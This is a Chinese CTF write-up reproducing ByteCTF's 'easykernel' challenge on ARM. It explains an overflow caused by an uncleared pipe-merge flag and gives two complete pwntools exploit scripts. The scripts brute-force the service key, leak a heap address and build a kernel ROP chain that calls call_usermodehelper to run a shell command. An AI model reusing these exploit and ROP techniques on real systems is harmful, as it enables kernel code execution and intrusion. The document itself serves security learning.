0%

bytectf easykernel 复现

bytectf easykernel 复现

学长出的题,在比赛中由于没有接触过内核socket和arm指令集,然后再加上ida反汇编出来的代码非常抽象,看不清楚逻辑,所以直到比赛结束都没有找见洞在哪里,菜的离谱🤦‍♀️。只能在赛后复现复现这样子了。

漏洞

赛后就向学长要到了源码,看源码的时候发现了一个这个漏洞,可以溢出写,但是管道每次申请到的堆块的偏移不是固定的,所以不好利用,当时没注意到pop的时候不会清除标志位,经过学长提示才注意到,那从这个角度就好利用多了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (len < 0x2000 && cnt && cnt < 0x10)
{
recv(buf, len, csock);
struct block_struct *blk = &bpipe.blks[(bpipe.pos - 1) & 0x0f];
int left = 0x1000 - blk->tail;
if (blk->can_merge && left >= len - 0x1000)
{
blk->tail = 0x2000 - len;
memcpy(blk->blk + blk->tail, buf, left);
push_bpipe_data(buf + (len - 0x1000), 0, 0x1000, 0, PUREDATA_BLK);
reply("[+] create pure data success!\n", strlen("[+] create pure data success!\n"), csock);
bfree(buf);
return;
}
}

利用

就是利用server的0x20选项来塞满管道,这里面就有can_merge=1的管道了,然后在全部pop出来,再push0x10权限,就可以让0x10的的管道的can_merge=1,然后就可以越界读和越界写了。最后写*callback_func指针来完成rop。

可是这是内核socket不像一般的内核题可以传一个程序上去,这该如何rop呢,学长的exp给了一个思路,内核中提供了一个call_usermodehelper函数,允许在内核态执行一个用户态的程序,而且参数接口和用户态的exec()系列函数是一样的,第一个参数是程序名,第二个参数是指针数组,存储着执行这个程序的命令行参数。

所以只要rop能够1控制r0r1然后让pc=call_usermodehelper就好了。

值得注意的是我们要rop就得控制sp,让sp指向我们精心布置的堆块上,这其实直接破坏了程序的上下文,当执行完call_usermodehelper再从栈中寻找上下文恢复到原来调用处就会失败,所以rop首先得保存正常的sp地址,然后再栈迁移,最后再恢复sp

所以对gadget的寻找还是有点苛刻的,我觉得不是很好找,当按着学长的gadget复现完之后,尝试自己在找见一套gadget,最后成功简化了一些学长的gadget。

exp

gadget未简化版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
from pwn import *
context.log_level='debug'
key=''
key_flag=0


for i in range(16):
for j in range(0,64):
tmp_key=key+chr(j)
tmp_key=tmp_key.ljust(0x10,'a')
sh=remote("127.0.0.1",2325)
# sh = process(['./wscat', '--endpoint', 'wss://telnet.2022.capturetheflag.fun/ws/' + CHALLENGE_ID])
sh.recvuntil("[+] has access key?\n")
sh.send(tmp_key)
m=sh.recv(15)
print m
if m == 'auth success!!!':
key_flag=1
key+=chr(j)
sh.close()
break
sh.recv(16)
ture_num=u8(sh.recv(1))
if ture_num-1==i:
key+=chr(j)
break
sh.close()
if key_flag ==1:
break


def server(opt,len=0,context=''):
sh=remote("127.0.0.1",2325)
sh.recvuntil("[+] has access key?\n")
sh.send(key)
sh.recvuntil("server or client ?")
sh.send('\x01')
sh.recvuntil("[+]hello server\n")
sh.send(opt)
if opt=='\x30':
sh.recvuntil("[+]this is puredata\n")
sh.send(p16(len))
sh.send(context)
if opt=='\x10':
sh.recvuntil("[+]say hello\n")
sh.send(p16(len))
sh.send(context)
if opt =='\x20':
sh.recvuntil("[+]do opt func\n")
sh.send(p16(len))
sh.send(context)
sh.close()



def client():
sh=remote('127.0.0.1',2325)
sh.recvuntil("[+] has access key?\n")
sh.send(key)
sh.recvuntil("server or client ?")
sh.send('\x00')
sh.recvuntil("[+]hello client\n")
sh.send('\x10')
sh.recv()
data=sh.recv()
sh.close()
return data


def str_change(payload,str,idx):
return payload[0:idx]+str+payload[idx+len(str):]

def rop(heap,cmd):
payload='\x00'*0x2000
stack=0x1000
save_sp=0x1500
agr=0x1700
sl=0x1800

payload=str_change(payload,"/bin/sh\x00",agr)
payload=str_change(payload,"-c",agr+0x10)
payload=str_change(payload,cmd,agr+0x20)
payload=str_change(payload,p32(heap+agr),agr+0x100)
payload=str_change(payload,p32(heap+agr+0x10),agr+0x100+4)
payload=str_change(payload,p32(heap+agr+0x20),agr+0x100+8)
'''
0x8051ef90: ldr r3, [r0, #400] ; 0x190
0x8051ef94: ldr r2, [r3, #124] ; 0x7c
0x8051ef98: cmp r2, #0
0x8051ef9c: beq 0x8051efb0
0x8051efa0: blx r2
'''
payload=str_change(payload,p32(heap),0x190) #r3
payload=str_change(payload,p32(0x8049dd4c),0x7c) #r2

'''
0x8049dd4c <hvc_push+12> ldr r2, [r0, #0xec]
0x8049dd50 <hvc_push+16> ldr r1, [r0, #0xe4]
0x8049dd54 <hvc_push+20> ldr r3, [r3, #4]
0x8049dd58 <hvc_push+24> ldr r0, [r0, #0xf0]
0x8049dd5c <hvc_push+28> blx r3
'''

payload=str_change(payload,p32(0x802d4d18),0xec) #r2
payload=str_change(payload,p32(heap),0xe4) #r1
payload=str_change(payload,p32(0x80694958),0x4) #r3
payload=str_change(payload,p32(0x80694958),0xf0) #r0

'''
0x80694958 <rpcauth_list_flavors+76> mov r0, sp
0x8069495c <rpcauth_list_flavors+80> blx r2
'''

'''
0x802d4d18 <nfs_pgio_result+8> ldr r3, [r1, #0x3c]
0x802d4d1c <nfs_pgio_result+12> mov r5, r0
0x802d4d20 <nfs_pgio_result+16> ldr r2, [r1]
0x802d4d24 <nfs_pgio_result+20> ldr r3, [r3, #0xc]
0x802d4d28 <nfs_pgio_result+24> blx r3
'''
payload=str_change(payload,p32(heap),0x3c) #r3
payload=str_change(payload,p32(heap+stack),0) # r2
payload=str_change(payload,p32(0x8010c03c),0xc) #r3

'''
0x8010c03c <cpu_suspend_abort+12> mov sp, r2
0x8010c040 <cpu_suspend_abort+16> pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
'''
payload=str_change(payload,p32(save_sp+heap),stack)
payload=str_change(payload,p32(0x8017c0f0),stack+4*8)
'''
0x8017c0f0 <tick_handover_do_timer+76> str r0, [r4]
0x8017c0f4 <tick_handover_do_timer+80> pop {r4, pc}
'''
payload=str_change(payload,p32(0x804282e4),stack+4*10)
'''
0x804282e4 pop {r1, r2, r3}
0x804282e8 sub r0, r0, r1
0x804282ec rsb r0, r0, r2
0x804282f0 pop {r4, pc}
'''
payload=str_change(payload,p32(0),stack+4*11)
payload=str_change(payload,p32(0),stack+4*12)
payload=str_change(payload,p32(0x804282e4),stack+4*13)
payload=str_change(payload,p32(0x8010c020),stack+4*15)
'''
0x8010c020 <__cpu_suspend+96> pop {r0, pc}
'''

payload=str_change(payload,p32(0x80136dec),stack+4*17)

'''
0x80136dec <module_attr_show+32> pop {lr}
0x80136df0 <module_attr_show+36> bx r3
'''
'''
0x804282e4 pop {r1, r2, r3}
0x804282e8 sub r0, r0, r1
0x804282ec rsb r0, r0, r2
0x804282f0 pop {r4, pc}
'''
payload=str_change(payload,p32(0x8010c040),stack+4*19)
payload=str_change(payload,p32(heap+save_sp-0x24),stack+4*22)
payload=str_change(payload,p32(0x8022b754),stack+4*23)

'''
0x8022b754 <dio_complete+120> ldr ip, [r4, #0x24]
0x8022b758 <dio_complete+124> stm sp, {r7, ip}
0x8022b75c <dio_complete+128> blx r1
'''
'''
0x8010c040 <cpu_suspend_abort+16> pop {r4, r5, r6, r7, r8, sb, sl, fp, pc} <0x8010c040>
'''
payload=str_change(payload,p32(heap+sl),stack+4*30)
payload=str_change(payload,p32(0x804282e4),stack+4*32)

'''
0x804282e4 pop {r1, r2, r3} <0x8010c040>
0x804282e8 sub r0, r0, r1
0x804282ec rsb r0, r0, r2
0x804282f0 pop {r4, pc}
'''
payload=str_change(payload,p32(heap+agr+0x100),stack+4*33) #r1
payload=str_change(payload,p32(0x8010c020),stack+4*37) #pc

'''
0x8010c020 <__cpu_suspend+96> pop {r0, pc} <0x8010c020>=
'''
payload=str_change(payload,p32(heap+agr),stack+4*38)
payload=str_change(payload,p32(0x80101524),stack+4*39)
'''
0x80101524 <secondary_startup_arm+100> mov sp, ip
0x80101528 <secondary_startup_arm+104> ldr ip, [sl, #0x10]
0x8010152c <secondary_startup_arm+108> add ip, ip, sl
0x80101530 <secondary_startup_arm+112> mov pc, ip
'''
call_usermodehelper=0x8012f990
offsets=(call_usermodehelper-(heap+sl))&0xffffffff
payload=str_change(payload,p32(offsets),sl+0x10)

return payload

def exp():
for i in range(8):
server('\x20',0x1,'a')

for i in range(8):
client()

server('\x30',0x1,'a')
server('\x10',0x1000,'a'*0x1000)
server('\x30',0x1000,'a'*0x1000)
client()
client()
data=client()
heap=u32(data[7:7+4])
print hex(heap)

cmd='echo hello1 > /tmp/hacked'
payload=rop(heap,cmd)
server('\x10',0x2000,payload)

payload=p32(0x8051ef90)+p32(heap)
payload=payload.ljust(0x1000+0xfff,'c')

server('\x30',0x1ffc,payload)
client()
exp()

简化版

也就简化了20行😢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
from pwn import *
context.log_level='debug'
key=''
key_flag=0


for i in range(16):
for j in range(0,64):
tmp_key=key+chr(j)
tmp_key=tmp_key.ljust(0x10,'a')
sh=remote("127.0.0.1",2325)
# sh = process(['./wscat', '--endpoint', 'wss://telnet.2022.capturetheflag.fun/ws/' + CHALLENGE_ID])
sh.recvuntil("[+] has access key?\n")
sh.send(tmp_key)
m=sh.recv(15)
print m
if m == 'auth success!!!':
key_flag=1
key+=chr(j)
sh.close()
break
sh.recv(16)
ture_num=u8(sh.recv(1))
if ture_num-1==i:
key+=chr(j)
break
sh.close()
if key_flag ==1:
break


def server(opt,len=0,context=''):
sh=remote("127.0.0.1",2325)
sh.recvuntil("[+] has access key?\n")
sh.send(key)
sh.recvuntil("server or client ?")
sh.send('\x01')
sh.recvuntil("[+]hello server\n")
sh.send(opt)
if opt=='\x30':
sh.recvuntil("[+]this is puredata\n")
sh.send(p16(len))
sh.send(context)
if opt=='\x10':
sh.recvuntil("[+]say hello\n")
sh.send(p16(len))
sh.send(context)
if opt =='\x20':
sh.recvuntil("[+]do opt func\n")
sh.send(p16(len))
sh.send(context)
sh.close()



def client():
sh=remote('127.0.0.1',2325)
sh.recvuntil("[+] has access key?\n")
sh.send(key)
sh.recvuntil("server or client ?")
sh.send('\x00')
sh.recvuntil("[+]hello client\n")
sh.send('\x10')
sh.recv()
data=sh.recv()
sh.close()
return data


def str_change(payload,str,idx):
return payload[0:idx]+str+payload[idx+len(str):]

def rop(heap,cmd): # server("\x10",1,'b')
payload='\x00'*0x2000
stack=0x1000
save_sp=0x1500
agr=0x1700
sl=0x1800

payload=str_change(payload,"/bin/sh\x00",agr)
payload=str_change(payload,"-c",agr+0x10)
payload=str_change(payload,cmd,agr+0x20)
payload=str_change(payload,p32(heap+agr),agr+0x100)
payload=str_change(payload,p32(heap+agr+0x10),agr+0x100+4)
payload=str_change(payload,p32(heap+agr+0x20),agr+0x100+8)

'''
0x8051ef90: ldr r3, [r0, #400] ; 0x190
0x8051ef94: ldr r2, [r3, #124] ; 0x7c
0x8051ef98: cmp r2, #0
0x8051ef9c: beq 0x8051efb0
0x8051efa0: blx r2
'''
payload=str_change(payload,p32(heap),0x190) #r3
payload=str_change(payload,p32(0x8049dd4c),0x7c) #r2


'''
0x8049dd4c <hvc_push+12> ldr r2, [r0, #0xec]
0x8049dd50 <hvc_push+16> ldr r1, [r0, #0xe4]
0x8049dd54 <hvc_push+20> ldr r3, [r3, #4]
0x8049dd58 <hvc_push+24> ldr r0, [r0, #0xf0]
0x8049dd5c <hvc_push+28> blx r3
'''

payload=str_change(payload,p32(0x802d4d18),0xec) #r2
payload=str_change(payload,p32(heap),0xe4) #r1
payload=str_change(payload,p32(0x80694958),0x4) #r3
payload=str_change(payload,p32(0x80694958),0xf0) #r0

'''
0x80694958 <rpcauth_list_flavors+76> mov r0, sp
0x8069495c <rpcauth_list_flavors+80> blx r2
'''
'''
0x802d4d18 <nfs_pgio_result+8> ldr r3, [r1, #0x3c]
0x802d4d1c <nfs_pgio_result+12> mov r5, r0
0x802d4d20 <nfs_pgio_result+16> ldr r2, [r1]
0x802d4d24 <nfs_pgio_result+20> ldr r3, [r3, #0xc]
0x802d4d28 <nfs_pgio_result+24> blx r3
'''
payload=str_change(payload,p32(heap),0x3c) #r3
payload=str_change(payload,p32(heap+stack),0) # r2
payload=str_change(payload,p32(0x8010c03c),0xc) #r3

'''
0x8010c03c <cpu_suspend_abort+12> mov sp, r2
0x8010c040 <cpu_suspend_abort+16> pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
'''
payload=str_change(payload,p32(heap+stack+4*20),stack)
payload=str_change(payload,p32(0x8017c0f0),stack+4*8)

'''
0x8017c0f0 <tick_handover_do_timer+76> str r0, [r4]
0x8017c0f4 <tick_handover_do_timer+80> pop {r4, pc}
'''
payload=str_change(payload,p32(0x804282e4),stack+4*10)
'''
0x804282e4 pop {r1, r2, r3}
0x804282e8 sub r0, r0, r1
0x804282ec rsb r0, r0, r2
0x804282f0 pop {r4, pc}
'''
payload=str_change(payload,p32(heap+agr+0x100),stack+4*11)
payload=str_change(payload,p32(0x80427e38),stack+4*13)
payload=str_change(payload,p32(0x8010c020),stack+4*15)
'''
0x8010c020 <__cpu_suspend+96> pop {r0, pc} <0x8010c020>=
'''
payload=str_change(payload,p32(heap+agr),stack+4*16)
payload=str_change(payload,p32(0x80136dec),stack+4*17)

'''
0x80136dec <module_attr_show+32> pop {lr}
0x80136df0 <module_attr_show+36> bx r3
'''
call_usermodehelper=0x8012f990
payload=str_change(payload,p32(call_usermodehelper),stack+4*18)
'''
0x80427e38 <call_with_stack+32>: ldr sp, [sp, #4]
0x80427e3c <call_with_stack+36>: bx lr
'''
return payload

def exp():
for i in range(8):
server('\x20',0x1,'a')

for i in range(8):
client()

server('\x30',0x1,'a')
server('\x10',0x1000,'a'*0x1000)
server('\x30',0x1000,'a'*0x1000)
client()
client()
data=client()
heap=u32(data[7:7+4])
print hex(heap)

cmd='echo hello1 > /tmp/hacked'
payload=rop(heap,cmd)
server('\x10',0x2000,payload)

payload=p32(0x8051ef90)+p32(heap)
payload=payload.ljust(0x1000+0xfff,'c')

server('\x30',0x1ffc,payload)
client()
exp()

总结

对标志控制不严格导致的漏洞类型有了比较深刻的印象,了解学习了arm指令集以及寻找gadget的思路。